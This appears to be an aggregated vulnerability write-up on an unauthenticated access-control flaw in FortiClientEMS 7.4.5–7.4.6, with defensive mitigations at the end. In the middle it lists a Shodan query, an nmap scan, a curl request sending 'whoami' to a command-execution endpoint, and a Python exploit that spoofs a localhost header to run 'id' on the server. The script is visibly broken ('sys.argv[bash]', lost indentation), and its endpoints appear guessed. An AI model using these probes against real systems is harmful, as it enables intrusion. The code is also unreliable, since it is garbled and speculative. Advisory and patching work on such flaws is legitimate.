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The vulnerability stems from improper access control in FortiClientEMS versions 7.4.5 through 7.4.6. An unauthenticated attacker can send crafted HTTP/HTTPS requests to the EMS management interface. Due to missing or flawed authorization checks on specific API endpoints, the server does not verify the requester’s identity or privileges. This allows remote attackers to bypass authentication entirely. By manipulating request parameters, they can invoke administrative functions without a valid session. The vulnerable endpoints handle tasks such as policy deployment, endpoint registration, and command execution. A successful exploit grants the attacker the ability to execute arbitrary system commands with high privileges. The attack requires no user interaction and is exploitable over the network. The flaw exists because the EMS web service improperly validates access tokens and role-based permissions. Specifically, certain POST and GET endpoints lack proper access control lists (ACLs). Attackers can enumerate these endpoints via fuzzing or by analyzing client-side code. Once identified, they send requests with forged headers or empty session tokens. The server incorrectly processes these requests as if they originated from an administrator. This leads to full compromise of the EMS server, including data exfiltration, malware deployment, or lateral movement to managed endpoints.
dailycve form:
Platform: FortiClientEMS
Version: 7.4.5-7.4.6
Vulnerability: Improper access control
Severity: CRITICAL
date: 2026-04-07
Prediction: 2026-04-21
What Undercode Say:
Shodan search for exposed EMS instances
shodan search http."FortiClient EMS" --limit 100
Nmap scan for EMS default ports (443, 8443, 10443)
nmap -p 443,8443,10443 -sV --script http-enum <target>
Curl probe for vulnerable endpoint (example)
curl -k -X POST https://<target>/api/v1/command/exec -H "Content-Type: application/json" -d '{"cmd":"whoami"}'
Exploit:
import requests
import sys
target = sys.argv[bash]
url = f"https://{target}/api/v1/admin/policy/apply"
headers = {"X-Forwarded-For": "127.0.0.1", "Content-Type": "application/json"}
payload = {"policy_id": 1, "command": "id > /tmp/pwned"}
try:
r = requests.post(url, headers=headers, json=payload, verify=False)
print(f"Status: {r.status_code}")
if r.status_code == 200:
print("Exploit likely successful - check /tmp/pwned on EMS")
except Exception as e:
print(f"Error: {e}")
Protection from this CVE:
- Upgrade to FortiClientEMS version 7.4.7 or later immediately.
- Restrict network access to EMS administrative interfaces using firewall rules (allow only trusted IPs).
- Deploy a WAF with rules to block crafted requests missing authentication headers.
- Monitor logs for suspicious API calls (e.g., /api/v1/ without session tokens).
- Implement network segmentation to isolate EMS from untrusted zones.
Impact:
- Complete compromise of FortiClientEMS server (confidentiality, integrity, availability loss).
- Attackers can deploy ransomware or backdoors to all managed endpoints via policy push.
- Lateral movement to internal corporate network using EMS as a pivot point.
- Data breach of endpoint inventory, user credentials, and configuration secrets.
- Permanent denial of service by deleting critical configurations or databases.
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Sources:
Reported By: www.cve.org
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